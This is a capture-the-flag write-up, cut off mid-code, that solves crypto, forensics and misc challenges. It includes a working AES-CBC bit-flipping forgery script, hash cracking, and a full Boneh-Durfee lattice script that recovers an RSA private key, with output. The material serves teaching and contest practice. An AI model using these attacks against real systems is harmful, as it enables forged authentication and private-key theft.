Let's take tokenByIndex as an example, this is the resulting RPC call:

The first 4 bytes of data represent the function that's being called, and to refers to the address of the contract. We change the value of the contract to 0xcebddda850b185b272501731f3d262a3d9a601d3 (the newer contract) and the first 4 bytes of data to 224b610b (the password() function in the newer contract)

And this is the response:

By decoding the result as UTF-8 we'll get the flag (minus the } at the end).

Flag

{FLG:MyNFT_is_4_Run4!}

Crypto 200

Description

R-Boy seems to be losing control of himself: it was clear that regeneration would not be painless, but he didn’t expect this. Debilitated, he discovers that inside the cave he can only open temporary portals to certain dimensions, where he can only stay for a few minutes before sucked back into the cave. It will take time to figure out how to obtain the correct encrypted message, but time is not on his side.

http://gamebox1.reply.it:80/14de018c45487063d3bc11fe33ac7e6996914988

We get the following note:

challenge title

Don't forget the best bits

examples

Cleartext: message%3DFor%20a%20fullfilling%20experience%20embrace%20listen%20to%20new%20music%2E%20Pay%20attention%20to%20details%2C%20titles%20are%20important%2E%20And%20remember%2C%20music%20it%27s%20flipping%20amazing%26user%3Dmario

AES-CBC 128bit Ciphertext: 482c74deadaee362185c315aa10bcd02c96d2417fe3d1adf7fd90da2da95ca16ff9bb7b20b1ed3ac22c93bd3ac7f8d790768379407181f93bbc2c5bde5da5a4e47b400ed0827d815c47b4793349d894a557dd4436a7e2d7967b09faeff6b7037e5ba40202e850c0640414ffd651847bff2fe50ac248ac63cd595339b6fa9ee78f2835d29176d524ab9116894eab6ad5fd56c6600670d1f5bc4e48dfdaed740d1e3b3f1c05a067fbeb69e0a67226755569f185120d5b393131ecd3c209123994135a62d029cc5072264cd6ca306a7d1fc8a63ae9b9675ecace48745f049d5d742639e2df80675ad114938eb641a8b1704

We also get a simple AES CBC encryption/decryption code and the following code snippet:

import _aes

if request.method == 'POST':
ct = request.form.get("ciphertext")
pt = _aes.decrypt(ct)
params = parse_qs(unquote(pt))
message = ''.join(params['message'])
user = ''.join(params['user'])
if user == user_flag:
return make_response(flag,200)
elif len(message) > 0:
return make_response("Thank you for your feedback!", 200)

First guess the value of user_flag to be billy from the challenge title.

Then use the fact that AES CBC mode XORs the previous block of ciphertext to the next during decryption to forge a message:

from pwn import *
d = unhex('482c74deadaee362185c315aa10bcd02c96d2417fe3d1adf7fd90da2da95ca16ff9bb7b20b1ed3ac22c93bd3ac7f8d790768379407181f93bbc2c5bde5da5a4e47b400ed0827d815c47b4793349d894a557dd4436a7e2d7967b09faeff6b7037e5ba40202e850c0640414ffd651847bff2fe50ac248ac63cd595339b6fa9ee78f2835d29176d524ab9116894eab6ad5fd56c6600670d1f5bc4e48dfdaed740d1e3b3f1c05a067fbeb69e0a67226755569f185120d5b393131ecd3c209123994135a62d029cc5072264cd6ca306a7d1fc8a63ae9b9675ecace48745f049d5d742639e2df80675ad114938eb641a8b1704')

d = bytearray(d)
d[-48:-32] = xor(d[-48:-32], xor('g%26user%3Dmario', b'g%26user%3Dbilly'))
print(enhex(d))

Submit 482c74deadaee362185c315aa10bcd02c96d2417fe3d1adf7fd90da2da95ca16ff9bb7b20b1ed3ac22c93bd3ac7f8d790768379407181f93bbc2c5bde5da5a4e47b400ed0827d815c47b4793349d894a557dd4436a7e2d7967b09faeff6b7037e5ba40202e850c0640414ffd651847bff2fe50ac248ac63cd595339b6fa9ee78f2835d29176d524ab9116894eab6ad5fd56c6600670d1f5bc4e48dfdaed740d1e3b3f1c05a067fbeb69e0a67226755569f185120d5b393131ecd3c209123994135a62d029cc5072264cd6cac0eb9d4ea8a63ae9b9675ecace48745f049d5d742639e2df80675ad114938eb641a8b1704 to the webpage to get flag.

Flag

{FLG:ju57_f3w_b17_7h47_m4k3_4ll_7h3_d1ff3r3nc3_:_3xp3r13nc3d_fl1pp3r}

Crypto 300

Description

The cave is altering R-Boy's psyche: he’s jumping into portals that seem to lead to dimensions. R-Boy has lost control. His first three jumps take him to three dimensions that evoke accumulated depictions of the famous Wandering Poet and a woman. So far, there doesn’t seem to be anything else significant.

We are given a zip file that contains a file named challenge. The output of the file command is "data", meaning the file is not a regular file.

Let's inspect the file:

$ xxd challenge| head
00000000: aabb ccdd aabb ccdd aabb ccdd aabb ccdd  ................
00000010: aabb ccdd aabb ccdd aabb ccdd aabb ccdd  ................
00000020: aabb ccdd aabb ccdd aabb ccdd aabb ccdd  ................
00000030: aabb ccdd aabb ccdd aabb ccdd aabb ccdd  ................
00000040: aabb ccdd aabb ccdd aabb ccdd aabb ccdd  ................
00000050: aabb ccdd aabb ccdd aabb ccdd aabb ccdd  ................
00000060: aabb ccdd aabb ccdd aabb ccdd aabb ccdd  ................
00000070: aabb ccdd aabb ccdd aabb ccdd aabb ccdd  ................
00000080: aabb ccdd aabb ccdd aabb ccdd aabb ccdd  ................
00000090: aabb ccdd aabb ccdd aabb ccdd aabb ccdd  ................

That's a pretty unusual pattern for a file. My first intuition was that the file was encrypted using xor and the key 0xaabbccdd. We can quickly revert the xor with Python:

$ python3
Python 3.10.4 (main, Mar 31 2022, 08:41:55) [GCC 7.5.0] on linux
Type "help", "copyright", "credits" or "license" for more information.
>>> from pwn import xor
>>> chall = open('challenge','rb').read()
>>> key = bytes.fromhex('aabbccdd')
>>> open('decrypted','wb').write(xor(chall,key))
5242880
>>>

Let's see if this worked:

$ file decrypted
decrypted: Linux rev 1.0 ext2 filesystem data (mounted or unclean), UUID=da08364d-4a04-4c94-8e82-da41c1ac22ac, volume name "Crypto" (extents) (64bit) (large files) (huge files)

Indeed it did. We can further analyze this file using testdisk:

These are all the files from the given filesystem. We can extract them using testdisk and we read hint.txt:

The key to open the zip file is a compound word.
The first word is found within the sqlite file, the second is the maiden name of the lady in the picture.

Let's try the sqlite file (mywonderfulwebapp), we can open it using https://inloop.github.io/sqlite-viewer/

And this is the content:

At this point any word from there could be a legit word, but I'm curious about the password field as they seem to be sha256 hashes, and we can try to crack them using crackstation:

So we take alessio as the first word.

Then we have the image, this is the content of portrait.bmp:

Looks pretty random, however we also have a file named dict.pkl that when loaded contains a dictionary:

$ python3
Python 3.10.4 (main, Mar 31 2022, 08:41:55) [GCC 7.5.0] on linux
Type "help", "copyright", "credits" or "license" for more information.
>>> import pickle
>>> obj = pickle.loads(open('dict.pkl','rb').read())
>>> print(obj)
{0: 129, 1: 246, 2: 31, 3: 139, 4: 81, 5: 179, 6: 151, 7: 233, 8: 0, 9: 27, 10: 8, 11: 225, 12: 249, 13: 232, 14: 187, 15: 171, 16: 88, 17: 214, 18: 202, 19: 181, 20: 99, 21: 59, 22: 109, 23: 219, 24: 201, 25: 166, 26: 58, 27: 222, 28: 13, 29: 197, 30: 208, 31: 9, 32: 152, 33: 174, 34: 200, 35: 11, 36: 194, 37: 67, 38: 216, 39: 46, 40: 18, 41: 98, 42: 24, 43: 69, 44: 96, 45: 162, 46: 38, 47: 121, 48: 163, 49: 29, 50: 124, 51: 206, 52: 1, 53: 198, 54: 199, 55: 83, 56: 170, 57: 159, 58: 165, 59: 235, 60: 188, 61: 62, 62: 104, 63: 115, 64: 148, 65: 30, 66: 177, 67: 229, 68: 133, 69: 126, 70: 157, 71: 60, 72: 25, 73: 161, 74: 116, 75: 154, 76: 136, 77: 14, 78: 255, 79: 141, 80: 17, 81: 106, 82: 218, 83: 6, 84: 35, 85: 85, 86: 108, 87: 4, 88: 73, 89: 184, 90: 52, 91: 190, 92: 79, 93: 186, 94: 192, 95: 250, 96: 56, 97: 111, 98: 247, 99: 112, 100: 47, 101: 10, 102: 103, 103: 57, 104: 178, 105: 82, 106: 231, 107: 132, 108: 227, 109: 63, 110: 167, 111: 12, 112: 84, 113: 207, 114: 50, 115: 77, 116: 212, 117: 33, 118: 149, 119: 102, 120: 242, 121: 80, 122: 226, 123: 193, 124: 41, 125: 119, 126: 54, 127: 19, 128: 169, 129: 203, 130: 211, 131: 147, 132: 95, 133: 48, 134: 145, 135: 39, 136: 252, 137: 45, 138: 131, 139: 86, 140: 138, 141: 55, 142: 110, 143: 223, 144: 164, 145: 185, 146: 2, 147: 168, 148: 43, 149: 150, 150: 23, 151: 175, 152: 196, 153: 245, 154: 248, 155: 53, 156: 107, 157: 125, 158: 205, 159: 93, 160: 49, 161: 3, 162: 237, 163: 173, 164: 160, 165: 243, 166: 78, 167: 90, 168: 158, 169: 113, 170: 142, 171: 122, 172: 239, 173: 230, 174: 114, 175: 134, 176: 94, 177: 40, 178: 140, 179: 118, 180: 22, 181: 105, 182: 92, 183: 68, 184: 128, 185: 228, 186: 120, 187: 182, 188: 87, 189: 44, 190: 254, 191: 135, 192: 117, 193: 36, 194: 61, 195: 183, 196: 7, 197: 195, 198: 34, 199: 127, 200: 21, 201: 5, 202: 15, 203: 253, 204: 130, 205: 42, 206: 97, 207: 16, 208: 28, 209: 32, 210: 176, 211: 101, 212: 244, 213: 172, 214: 143, 215: 236, 216: 71, 217: 156, 218: 75, 219: 64, 220: 37, 221: 26, 222: 241, 223: 155, 224: 137, 225: 217, 226: 240, 227: 221, 228: 89, 229: 213, 230: 123, 231: 20, 232: 72, 233: 215, 234: 144, 235: 238, 236: 234, 237: 180, 238: 251, 239: 191, 240: 209, 241: 70, 242: 189, 243: 76, 244: 100, 245: 51, 246: 220, 247: 153, 248: 224, 249: 204, 250: 66, 251: 74, 252: 146, 253: 91, 254: 65, 255: 210}

The dictionary contains values from 0 to 255 so maybe the pixels in the image were substituted using this dictionary. We use Python and PIL to undo the process:

from PIL import Image
im = Image.open('portrait.bmp')

#get pixel data
pix = im.load()

dic = {0: 129, 1: 246, 2: 31, 3: 139, 4: 81, 5: 179, 6: 151, 7: 233, 8: 0, 9: 27, 10: 8, 11: 225, 12: 249, 13: 232, 14: 187, 15: 171, 16: 88, 17: 214, 18: 202, 19: 181, 20: 99, 21: 59, 22: 109, 23: 219, 24: 201, 25: 166, 26: 58, 27: 222, 28: 13, 29: 197, 30: 208, 31: 9, 32: 152, 33: 174, 34: 200, 35: 11, 36: 194, 37: 67, 38: 216, 39: 46, 40: 18, 41: 98, 42: 24, 43: 69, 44: 96, 45: 162, 46: 38, 47: 121, 48: 163, 49: 29, 50: 124, 51: 206, 52: 1, 53: 198, 54: 199, 55: 83, 56: 170, 57: 159, 58: 165, 59: 235, 60: 188, 61: 62, 62: 104, 63: 115, 64: 148, 65: 30, 66: 177, 67: 229, 68: 133, 69: 126, 70: 157, 71: 60, 72: 25, 73: 161, 74: 116, 75: 154, 76: 136, 77: 14, 78: 255, 79: 141, 80: 17, 81: 106, 82: 218, 83: 6, 84: 35, 85: 85, 86: 108, 87: 4, 88: 73, 89: 184, 90: 52, 91: 190, 92: 79, 93: 186, 94: 192, 95: 250, 96: 56, 97: 111, 98: 247, 99: 112, 100: 47, 101: 10, 102: 103, 103: 57, 104: 178, 105: 82, 106: 231, 107: 132, 108: 227, 109: 63, 110: 167, 111: 12, 112: 84, 113: 207, 114: 50, 115: 77, 116: 212, 117:33, 118: 149, 119: 102, 120: 242, 121: 80, 122: 226, 123: 193, 124: 41, 125: 119, 126: 54, 127: 19, 128: 169, 129: 203, 130: 211, 131: 147, 132: 95, 133: 48, 134: 145, 135: 39, 136: 252, 137: 45, 138: 131, 139: 86, 140: 138, 141: 55, 142: 110, 143: 223, 144: 164, 145: 185, 146: 2, 147: 168, 148: 43, 149: 150, 150: 23, 151: 175, 152: 196, 153: 245, 154: 248, 155: 53, 156: 107, 157: 125, 158: 205, 159: 93, 160: 49, 161: 3, 162: 237, 163: 173, 164: 160, 165: 243, 166: 78, 167: 90, 168: 158, 169: 113, 170: 142, 171: 122, 172: 239, 173: 230, 174: 114, 175: 134, 176: 94, 177: 40, 178: 140, 179: 118, 180: 22, 181: 105, 182: 92, 183: 68, 184: 128, 185: 228, 186: 120, 187: 182, 188: 87, 189: 44, 190: 254, 191: 135, 192: 117, 193: 36, 194: 61, 195: 183, 196: 7, 197: 195, 198: 34, 199: 127, 200: 21, 201: 5, 202: 15, 203: 253, 204: 130, 205: 42, 206: 97, 207: 16, 208: 28, 209: 32, 210: 176, 211: 101, 212: 244, 213: 172, 214: 143, 215: 236, 216: 71, 217: 156, 218: 75, 219: 64, 220: 37, 221: 26, 222: 241, 223: 155, 224: 137, 225: 217, 226: 240, 227: 221, 228: 89, 229: 213, 230: 123, 231: 20, 232: 72, 233: 215, 234: 144, 235: 238, 236: 234, 237: 180, 238: 251, 239: 191, 240: 209, 241: 70, 242: 189, 243: 76, 244: 100, 245: 51, 246: 220, 247: 153, 248: 224, 249: 204, 250: 66, 251: 74, 252: 146, 253: 91, 254: 65, 255: 210}

dic2 = {}
for i in range(256):
dic2[dic[i]] = i

# iterate over pixels
for i in range(im.size[0]):
for j in range(im.size[1]):
# get pixel value
p = pix[i,j]
# if pixel value is not 0, then set it to 255
im.putpixel((i,j), dic2[p])

# save image
im.save('portrait2.bmp')

And this is the result:

Using Google's reverse image search functionality, we find out that the lady in the image is Lillian Osbourne, Ozzy Osbourne's mother. On this website we find out her maiden name: https://www.geni.com/people/Lillian-Osbourne/6000000015086077188

Which is Unitt. So the password to the zip archive is alessiounitt

We get a key.pub in PEM format and a ciphertext.txt, so the next step is RSA decryption. This is the PEM content:

Array
(
    [bits] => 1027
    [key] => -----BEGIN PUBLIC KEY-----
MIIBIDANBgkqhkiG9w0BAQEFAAOCAQ0AMIIBCAKBgQRx3NRQhxf4y9kfdZWerZH9
rJOkjwFtFFZmKWXM+jBpn6VWmeusiDgAaKcIIEVI55d2Bt9G+lDNNh7UFmFXcpAr
g0mqwMucXx4yO1phXNsVZLNGhIux7kq8DHaXrSNgncgvJxeUj55xWcHgbWzAylWz
b4xpju99NhTbxBIbOtUtLwKBgQEaFmYHymVbdBXLOTWha8XIk72zDpUtgIzFFbi0
0Ujn0SpXJway1VP/J60teZK0C1sPhg3wL4aHL2uoo8w65u94kwvCVsx4Z3MXZW8R
yyrF1sUhuaWAc2RODPPH/5cG10cS/N1OzuYC298ewWoMVxAZyjhEUU33anDwacnz
w1UvaQ==
-----END PUBLIC KEY-----
    [rsa] => Array
        (
            [n] => 0471dcd4508717f8cbd91f75959ead91fdac93a48f016d1456662965ccfa30699fa55699ebac88380068a708204548e7977606df46fa50cd361ed416615772902b8349aac0cb9c5f1e323b5a615cdb1564b346848bb1ee4abc0c7697ad23609dc82f2717948f9e7159c1e06d6cc0ca55b36f8c698eef7d3614dbc4121b3ad52d2f
            [e] => 011a166607ca655b7415cb3935a16bc5c893bdb30e952d808cc515b8b4d148e7d12a572706b2d553ff27ad2d7992b40b5b0f860df02f86872f6ba8a3cc3ae6ef78930bc256cc78677317656f11cb2ac5d6c521b9a58073644e0cf3c7ff9706d74712fcdd4ecee602dbdf1ec16a0c571019ca3844514df76a70f069c9f3c3552f69
        )

    [type] => 0
)

We can see that the public key e is very large, which makes us think of Wiener's attack. We can find the private key d using this script that implements the attack:

from __future__ import print_function
import time

############################################
# Config
##########################################

"""
Setting debug to true will display more informations
about the lattice, the bounds, the vectors...
"""

debug = True

"""
Setting strict to true will stop the algorithm (and
return (-1, -1)) if we don't have a correct
upperbound on the determinant. Note that this
doesn't necesseraly mean that no solutions
will be found since the theoretical upperbound is
usualy far away from actual results. That is why
you should probably use `strict = False`
"""

strict = False

"""
This is experimental, but has provided remarkable results
so far. It tries to reduce the lattice as much as it can
while keeping its efficiency. I see no reason not to use
this option, but if things don't work, you should try
disabling it
"""

helpful_only = True
dimension_min = 7 # stop removing if lattice reaches that dimension

############################################
# Functions
##########################################

# display stats on helpful vectors
def helpful_vectors(BB, modulus):
nothelpful = 0
for ii in range(BB.dimensions()[0]):
if BB[ii,ii] >= modulus:
nothelpful += 1

print(nothelpful, "/", BB.dimensions()[0], " vectors are not helpful")

# display matrix picture with 0 and X
def matrix_overview(BB, bound):
for ii in range(BB.dimensions()[0]):
a = ('%02d ' % ii)
for jj in range(BB.dimensions()[1]):
a += '0' if BB[ii,jj] == 0 else 'X'
if BB.dimensions()[0] < 60:
a += ' '
if BB[ii, ii] >= bound:
a += '~'
print(a)

# tries to remove unhelpful vectors
# we start at current = n-1 (last vector)
def remove_unhelpful(BB, monomials, bound, current):
# end of our recursive function
if current == -1 or BB.dimensions()[0] <= dimension_min:
return BB

# we start by checking from the end
for ii in range(current, -1, -1):
# if it is unhelpful:
if BB[ii, ii] >= bound:
affected_vectors = 0
affected_vector_index = 0
# let's check if it affects other vectors
for jj in range(ii + 1, BB.dimensions()[0]):
# if another vector is affected:
# we increase the count
if BB[jj, ii] != 0:
affected_vectors += 1
affected_vector_index = jj

# level:0
# if no other vectors end up affected
# we remove it
if affected_vectors == 0:
print("* removing unhelpful vector", ii)
BB = BB.delete_columns([ii])
BB = BB.delete_rows([ii])
monomials.pop(ii)
BB = remove_unhelpful(BB, monomials, bound, ii-1)
return BB

# level:1
# if just one was affected we check
# if it is affecting someone else
elif affected_vectors == 1:
affected_deeper = True
for kk in range(affected_vector_index + 1, BB.dimensions()[0]):
# if it is affecting even one vector
# we give up on this one
if BB[kk, affected_vector_index] != 0:
affected_deeper = False
# remove both it if no other vector was affected and
# this helpful vector is not helpful enough
# compared to our unhelpful one
if affected_deeper and abs(bound - BB[affected_vector_index, affected_vector_index]) < abs(bound - BB[ii, ii]):
print("* removing unhelpful vectors", ii, "and", affected_vector_index)
BB = BB.delete_columns([affected_vector_index, ii])
BB = BB.delete_rows([affected_vector_index, ii])
monomials.pop(affected_vector_index)
monomials.pop(ii)
BB = remove_unhelpful(BB, monomials, bound, ii-1)
return BB
# nothing happened
return BB

"""
Returns:
* 0,0 if it fails
* -1,-1 if `strict=true`, and determinant doesn't bound
* x0,y0 the solutions of `pol`
"""

def boneh_durfee(pol, modulus, mm, tt, XX, YY):
"""
Boneh and Durfee revisited by Herrmann and May

finds a solution if:
* d < N^delta
* |x| < e^delta
* |y| < e^0.5
whenever delta < 1 - sqrt(2)/2 ~ 0.292
"""


# substitution (Herrman and May)
PR.<u, x, y> = PolynomialRing(ZZ)
Q = PR.quotient(x*y + 1 - u) # u = xy + 1
polZ = Q(pol).lift()

UU = XX*YY + 1

# x-shifts
gg = []
for kk in range(mm + 1):
for ii in range(mm - kk + 1):
xshift = x^ii * modulus^(mm - kk) * polZ(u, x, y)^kk
gg.append(xshift)
gg.sort()

# x-shifts list of monomials
monomials = []
for polynomial in gg:
for monomial in polynomial.monomials():
if monomial not in monomials:
monomials.append(monomial)
monomials.sort()

# y-shifts (selected by Herrman and May)
for jj in range(1, tt + 1):
for kk in range(floor(mm/tt) * jj, mm + 1):
yshift = y^jj * polZ(u, x, y)^kk * modulus^(mm - kk)
yshift = Q(yshift).lift()
gg.append(yshift) # substitution

# y-shifts list of monomials
for jj in range(1, tt + 1):
for kk in range(floor(mm/tt) * jj, mm + 1):
monomials.append(u^kk * y^jj)

# construct lattice B
nn = len(monomials)
BB = Matrix(ZZ, nn)
for ii in range(nn):
BB[ii, 0] = gg[ii](0, 0, 0)
for jj in range(1, ii + 1):
if monomials[jj] in gg[ii].monomials():
BB[ii, jj] = gg[ii].monomial_coefficient(monomials[jj]) * monomials[jj](UU,XX,YY)

# Prototype to reduce the lattice
if helpful_only:
# automatically remove
BB = remove_unhelpful(BB, monomials, modulus^mm, nn-1)
# reset dimension
nn = BB.dimensions()[0]
if nn == 0:
print("failure")
return 0,0

# check if vectors are helpful
if debug:
helpful_vectors(BB, modulus^mm)

# check if determinant is correctly bounded
det = BB.det()
bound = modulus^(mm*nn)
if det >= bound:
print("We do not have det < bound. Solutions might not be found.")
print("Try with highers m and t.")
if debug:
diff = (log(det) - log(bound)) / log(2)
print("size det(L) - size e^(m*n) = ", floor(diff))
if strict:
return -1, -1
else:
print("det(L) < e^(m*n) (good! If a solution exists < N^delta, it will be found)")

# display the lattice basis
if debug:
matrix_overview(BB, modulus^mm)

# LLL
if debug:
print("optimizing basis of the lattice via LLL, this can take a long time")

BB = BB.LLL()

if debug:
print("LLL is done!")

# transform vector i & j -> polynomials 1 & 2
if debug:
print("looking for independent vectors in the lattice")
found_polynomials = False

for pol1_idx in range(nn - 1):
for pol2_idx in range(pol1_idx + 1, nn):
# for i and j, create the two polynomials
PR.<w,z> = PolynomialRing(ZZ)
pol1 = pol2 = 0
for jj in range(nn):
pol1 += monomials[jj](w*z+1,w,z) * BB[pol1_idx, jj] / monomials[jj](UU,XX,YY)
pol2 += monomials[jj](w*z+1,w,z) * BB[pol2_idx, jj] / monomials[jj](UU,XX,YY)

# resultant
PR.<q> = PolynomialRing(ZZ)
rr = pol1.resultant(pol2)

# are these good polynomials?
if rr.is_zero() or rr.monomials() == [1]:
continue
else:
print("found them, using vectors", pol1_idx, "and", pol2_idx)
found_polynomials = True
break
if found_polynomials:
break

if not found_polynomials:
print("no independant vectors could be found. This should very rarely happen...")
return 0, 0

rr = rr(q, q)

# solutions
soly = rr.roots()

if len(soly) == 0:
print("Your prediction (delta) is too small")
return 0, 0

soly = soly[0][0]
ss = pol1(q, soly)
solx = ss.roots()[0][0]

#
return solx, soly

def example():
############################################
# How To Use This Script
##########################################

#
# The problem to solve (edit the following values)
#

# the modulus
N = 799034301092324921538244483204770213499069908306805794530079972281964284399907205748705546965745897044974440114925314891962218723231458846861413496296861766635193056833137489176399492733155143120007052682887228045764080701593293036016350094661042878981538310244639396606409780457050822607921932422688099609903
# the public exponent
e = 198088575016795261881140883080501316877393951366778098911035594545769019557943544462048949025082559205290007557571857244191839273377243241963225441776551433403457515271239015945157091793944448625707486691612572248157969491823486089779564550680199947038791533562014036732132086918698908114377912808780974075753

# the hypothesis on the private exponent (the theoretical maximum is 0.292)
delta = .18 # this means that d < N^delta

#
# Lattice (tweak those values)
#

# you should tweak this (after a first run), (e.g. increment it until a solution is found)
m = 4 # size of the lattice (bigger the better/slower)

# you need to be a lattice master to tweak these
t = int((1-2*delta) * m) # optimization from Herrmann and May
X = 2*floor(N^delta) # this _might_ be too much
Y = floor(N^(1/2)) # correct if p, q are ~ same size

#
# Don't touch anything below
#

# Problem put in equation
P.<x,y> = PolynomialRing(ZZ)
A = int((N+1)/2)
pol = 1 + x * (A + y)

#
# Find the solutions!
#

# Checking bounds
if debug:
print("=== checking values ===")
print("* delta:", delta)
print("* delta < 0.292", delta < 0.292)
print("* size of e:", int(log(e)/log(2)))
print("* size of N:", int(log(N)/log(2)))
print("* m:", m, ", t:", t)

# boneh_durfee
if debug:
print("=== running algorithm ===")
start_time = time.time()

solx, soly = boneh_durfee(pol, e, m, t, X, Y)

# found a solution?
if solx > 0:
print("=== solution found ===")
if False:
print("x:", solx)
print("y:", soly)

d = int(pol(solx, soly) / e)
print("private key found:", d)
else:
print("=== no solution was found ===")

if debug:
print(("=== %s seconds ===" % (time.time() - start_time)))

if __name__ == "__main__":
example()

This is the script output:

=== checking values ===
* delta: 0.180000000000000
* delta < 0.292 True
* size of e: 1024
* size of N: 1026
* m: 4 , t: 2
=== running algorithm ===
* removing unhelpful vector 0
6 / 18  vectors are not helpful
det(L) < e^(m*n) (good! If a solution exists < N^delta, it will be found)
00 X 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 ~
01 X X 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 
02 0 0 X 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 ~
03 0 0 X X 0 0 0 0 0 0 0 0 0 0 0 0 0 0 
04 0 0 X X X 0 0 0 0 0 0 0 0 0 0 0 0 0 
05 0 0 0 0 0 X 0 0 0 0 0 0 0 0 0 0 0 0 ~
06 0 0 0 0 0 X X 0 0 0 0 0 0 0 0 0 0 0 ~
07 0 0 0 0 0 X X X 0 0 0 0 0 0 0 0 0 0 
08 0 0 0 0 0 X X X X 0 0 0 0 0 0 0 0 0 
09 0 0 0 0 0 0 0 0 0 X 0 0 0 0 0 0 0 0 ~
10 0 0 0 0 0 0 0 0 0 X X 0 0 0 0 0 0 0 ~
11 0 0 0 0 0 0 0 0 0 X X X 0 0 0 0 0 0 
12 0 0 0 0 0 0 0 0 0 X X X X 0 0 0 0 0 
13 0 0 0 0 0 0 0 0 0 X X X X X 0 0 0 0 
14 X X 0 X X 0 0 0 0 0 0 0 0 0 X 0 0 0 
15 0 0 X X X 0 X X X 0 0 0 0 0 0 X 0 0 
16 0 0 0 0 0 X X X X 0 X X X X 0 0 X 0 
17 0 0 X X X 0 X X X 0 0 X X X 0 X X X 
optimizing basis of the lattice via LLL, this can take a long time
LLL is done!
looking for independent vectors in the lattice
found them, using vectors 0 and 1
=== solution found ===
private key found: 5752477793961718316974364565722959866214021715252358015981092755839491056537
=== 0.5170533657073975 seconds ===

With d = 5752477793961718316974364565722959866214021715252358015981092755839491056537, we can decrypt the message using Python:

$ python3
Python 3.10.4 (main, Mar 31 2022, 08:41:55) [GCC 7.5.0] on linux
Type "help", "copyright", "credits" or "license" for more information.
>>> N = 799034301092324921538244483204770213499069908306805794530079972281964284399907205748705546965745897044974440114925314891962218723231458846861413496296861766635193056833137489176399492733155143120007052682887228045764080701593293036016350094661042878981538310244639396606409780457050822607921932422688099609903
>>> c = 0x3fb45bf4009bde3dad01054910efab2f9052ae049d4d770cc0255f33aafbc6c2a51a3d987ff77dff27ba0ff0e0098fdaed44c0d140923c577105c4a79623483293ecf2dfa6cd1ead8a2bd3a748aa167c83d532dcdc15fa93705fd866b8c5e86e311840f0fe589326b1a2c49712e818be237951d1503129253c7a8c246db3af132
>>> d = 5752477793961718316974364565722959866214021715252358015981092755839491056537
>>> m = pow(c,d,N)
>>> print(m)
74116006603252019232227262206659400916416285792886925854166432809603925033823016935716646541463083604911412503677
>>> print(bytes.fromhex(hex(m)[2:]))
b'{FLG:1m_s1cK_AnD_t1r4d_0f_b31ng_s1Ck_aNd_Tir4d}'

Flag

{FLG:1m_s1cK_AnD_t1r4d_0f_b31ng_s1Ck_aNd_Tir4d}

Misc

Misc 100

Description

The planet of BC-12, where Zer0 is. After yet another jump, R-Boy finds a character named Bill in front of a huge sequence of gates. Bill tells R-Boy that each gate is made of a different material from other copies of the planet. Each gate has its own unique weakness. How will R-Boy get through them all?

Password:s33k4ndy3sh4llf1nd!

The challenge provided us with a file: proof.img: DOS/MBR boot sector, code offset 0x58+2, OEM-ID "MSDOS5.0", sectors/cluster 16, reserved sectors 3470, Media descriptor 0xf8, sectors/track 63, heads 255, sectors 30031872 (volumes > 32 MB), FAT (32 bit), sectors/FAT 14649, reserved 0x1, serial number 0x7cb8d6bc, unlabeled and a password: s33k4ndy3sh4llf1nd!.

Opening the file with autopsy, we can idenfity the following files:

What stands out are a couple of images which don't contain any important information and an archive. If we look further and check the Encryptions Detected from the analysis, we can find the archive:

Trying to unzip contents with password, using the given password, turns out to be unsuccessfull as the archive seems to be corrupted. Thus, I downloaded the archive, opened with WinZip which was able to fix it and then successfully extracted the contents of the file:

Flag

{FLG:y0u_4r3_4_v3ry_g00d_pol1c3m4n}

Misc 200

Description

Having passed the hurdle, R-Boy is confronted by not just one Zer0, but thousands of Zer0s. They all seem virtual: avatars representing his arch-enemy, but which one is the real villain?

gamebox1.reply.it UDP/28979

The server seems to be just an echo server, sending us back the data we send forward with one byte per packet. Checking the IP headers, we can notice that the Identification header has weird values:

We save the packet dissections and grep all the values:

$ cat packets.txt | grep Identification | head
    Identification: 0x5c22 (23586)
    Identification: 0x7fff (32767)
    Identification: 0xffff (65535)
    Identification: 0xbfff (49151)
    Identification: 0xffff (65535)
    Identification: 0x7fff (32767)
    Identification: 0x3fff (16383)
    Identification: 0x7fff (32767)
    Identification: 0xbfff (49151)
    Identification: 0x7fff (32767)

We guess that we just use the first two bits that change and throw away the rest, and cause we're lazy we use a bash oneliner to do it

$ cat first.txt | grep Identification | tail -n +2 | grep -o 0x. | tr -d "0x\n" | sed -e s/7/01/g -e s/f/11/g -e s/b/10/g -e s/3/00/g
011110110100011001001100010001110011101001000100001100000110111000100111011101000101111101000110011100100011010001100111011011010011001101101110011101000101111101001101001100110101111101001110001100000111011101111101

CyberChefing this ("From Binary") we get the flag:

Flag

{FLG:D0n't_Fr4gm3nt_M3_N0w}

Misc 300

Description

R-Boy finds a way to connect with the minds of all creatures that exist on the different dimensional planes to sense which of the different Zer0s is the true evil one. A great explosion hits the planet and an immense light spreads across the universe.

http://gamebox1.reply.it:80/b7f91f2e6e12123b14fdfa9187ea53af00f281ac/

There is a simple jump and duck obstacle game. Checking the websocket communication, we see that the game sends action packets like ["action",{"px":20.16000000000004,"ox":89.87000000000504,"speed":3.994999999999979,"seed":3.5620543489957766,"step":0,"type":"J"}] to the server, and the server replies with ["actionresponse","A"]. The game client never uses the value, and it's probably important.

So we jankily modify the game to play itself and log the actionresponses. Eventually we notice that actionresponse can have 3 values, "A", "0" and "1". No idea what "A" stands for and why it gets returned, but with a bit of trial and error I noticed I get very low amount of "A"s when using speed of 71. Whether we get an "A" or a value seems a bit random. As the server seems to be sending the same bitstream every time, we just rerun the game until we get lucky and recover every bit at least once. Another good thing is that by changing step = 0; in Start(), we can start from the middle of the stream and not have to wait so long.

Here's my modified main.js:

const canvas = document.getElementById('game');
const ctx = canvas.getContext('2d');
const socket = io({path:"/b7f91f2e6e12123b14fdfa9187ea53af00f281ac/socket.io"});

// Variables
let score;
let scoreText;
let highscore;
let highscoreText;
let stepText;
let player;
let gravity;
let obstacles = [];
let gameSpeed;
let gameSpeedText;
let keys = {};
let seed = 0;
let step = 10;

let initialSpawnTimer = 200;
let spawnTimer = initialSpawnTimer;
let time0 = Date.now();

// Websocket

socket.on('connect', function(){
socket.send("Connected");
});

var buff = ""

socket.on('actionresponse', function(response) {
buff += response;
console.log(buff);
});


// Event Listeners
document.addEventListener('keydown', function (evt) {
keys[evt.code] = true;
});
document.addEventListener('keyup', function (evt) {
keys[evt.code] = false;
});

class Action {
constructor(x, step, type){
this.x = x;
this.step = step;
this.type = type;
if (obstacles.length > 0){
this.ox = obstacles[0].x;
}
else
